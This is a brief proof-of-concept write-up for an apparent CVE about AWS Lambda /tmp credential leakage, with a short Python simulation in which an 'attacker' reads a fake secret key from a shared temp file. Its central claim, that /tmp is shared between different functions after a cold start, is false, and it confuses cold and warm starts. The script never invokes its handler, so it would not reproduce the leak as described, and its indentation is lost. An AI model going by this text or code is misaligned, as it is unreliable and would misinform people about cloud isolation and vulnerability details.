
PoC exploit for CVE-2026-21002 serverless cold-start credential leakage, demonstrating how reused Lambda /tmp directories expose AWS secrets to other functions.
# lambda_func_sim.py - Simulated serverless function
import os, tempfile, time
SECRET_FILE = '/tmp/credentials' # reused across warm starts
def handler(event):
# On first invocation, write a secret
if not os.path.exists(SECRET_FILE):
with open(SECRET_FILE, 'w') as f:
f.write("AWS_SECRET_ACCESS_KEY=sk-123456")
return "Initialized"
# Later invocations can read it
with open(SECRET_FILE) as f:
return f.read()
# Attack simulation: attacker shares the same /tmp in another function (same VM)
# They can read /tmp/credentials after a cold start.
with open(SECRET_FILE) as f:
print("Attacker reads:", f.read())
Serverless platforms reuse the execution environment (including /tmp) across function invocations and even between different functions from the same account. An attacker’s function can read sensitive files left in /tmp by another function after a cold start, leading to credential theft.
/tmp directory is shared between warm containers without isolation between functions.Run the simulation:
python lambda_func_sim.py
The attacker reads AWS_SECRET_ACCESS_KEY left by the victim function.